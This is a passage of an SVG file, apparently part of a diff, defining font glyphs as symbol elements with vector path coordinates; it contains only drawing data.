6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.359375 -11 C 8.359375 -10.644531 8.316406 -10.289062 8.234375 -9.9375 C 8.148438 -9.582031 8.019531 -9.25 7.84375 -8.9375 C 7.664062 -8.632812 7.445312 -8.359375 7.1875 -8.109375 C 6.925781 -7.867188 6.601562 -7.6875 6.21875 -7.5625 L 6.21875 -7.484375 C 6.539062 -7.410156 6.851562 -7.296875 7.15625 -7.140625 C 7.457031 -6.984375 7.722656 -6.765625 7.953125 -6.484375 C 8.179688 -6.210938 8.363281 -5.875 8.5 -5.46875 C 8.632812 -5.070312 8.703125 -4.597656 8.703125 -4.046875 C 8.703125 -3.316406 8.585938 -2.679688 8.359375 -2.140625 C 8.128906 -1.609375 7.8125 -1.171875 7.40625 -0.828125 C 7.007812 -0.492188 6.550781 -0.242188 6.03125 -0.078125 C 5.507812 0.078125 4.957031 0.15625 4.375 0.15625 C 4.175781 0.15625 3.953125 0.15625 3.703125 0.15625 C 3.453125 0.15625 3.1875 0.144531 2.90625 0.125 C 2.625 0.113281 2.34375 0.0859375 2.0625 0.046875 C 1.78125 0.015625 1.523438 -0.0351562 1.296875 -0.109375 L 1.296875 -14.109375 C 1.703125 -14.191406 2.179688 -14.257812 2.734375 -14.3125 C 3.285156 -14.363281 3.878906 -14.390625 4.515625 -14.390625 C 4.972656 -14.390625 5.429688 -14.34375 5.890625 -14.25 C 6.359375 -14.164062 6.773438 -14 7.140625 -13.75 C 7.503906 -13.507812 7.796875 -13.171875 8.015625 -12.734375 C 8.242188 -12.296875 8.359375 -11.71875 8.359375 -11 Z M 4.5 -1.234375 C 4.863281 -1.234375 5.195312 -1.289062 5.5 -1.40625 C 5.8125 -1.519531 6.085938 -1.691406 6.328125 -1.921875 C 6.566406 -2.160156 6.753906 -2.441406 6.890625 -2.765625 C 7.023438 -3.097656 7.09375 -3.488281 7.09375 -3.9375 C 7.09375 -4.5 7.007812 -4.953125 6.84375 -5.296875 C 6.675781 -5.640625 6.453125 -5.90625 6.171875 -6.09375 C 5.898438 -6.289062 5.59375 -6.421875 5.25 -6.484375 C 4.90625 -6.554688 4.550781 -6.59375 4.1875 -6.59375 L 2.828125 -6.59375 L 2.828125 -1.375 C 2.910156 -1.351562 3.015625 -1.332031 3.140625 -1.3125 C 3.265625 -1.300781 3.40625 -1.289062 3.5625 -1.28125 C 3.71875 -1.269531 3.878906 -1.257812 4.046875 -1.25 C 4.210938 -1.238281 4.363281 -1.234375 4.5 -1.234375 Z M 3.65625 -7.90625 C 3.84375 -7.90625 4.054688 -7.910156 4.296875 -7.921875 C 4.546875 -7.941406 4.753906 -7.960938 4.921875 -7.984375 C 5.421875 -8.191406 5.847656 -8.519531 6.203125 -8.96875 C 6.566406 -9.425781 6.75 -9.988281 6.75 -10.65625 C 6.75 -11.101562 6.6875 -11.476562 6.5625 -11.78125 C 6.445312 -12.082031 6.28125 -12.320312 6.0625 -12.5 C 5.851562 -12.675781 5.609375 -12.800781 5.328125 -12.875 C 5.046875 -12.945312 4.75 -12.984375 4.4375 -12.984375 C 4.082031 -12.984375 3.757812 -12.972656 3.46875 -12.953125 C 3.1875 -12.929688 2.972656 -12.910156 2.828125 -12.890625 L 2.828125 -7.90625 Z M 3.65625 -7.90625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 3.265625 -5.203125 L 0.59375 -10.15625 L 2.34375 -10.15625 L 3.84375 -7.25 L 4.25 -6.125 L 4.671875 -7.25 L 6.21875 -10.15625 L 7.828125 -10.15625 L 5.125 -5.28125 L 7.984375 0 L 6.328125 0 L 4.609375 -3.1875 L 4.171875 -4.40625 L 3.703125 -3.1875 L 1.984375 0 L 0.390625 0 Z M 3.265625 -5.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-11">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph0-12">
+<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-13">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-14">
+<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
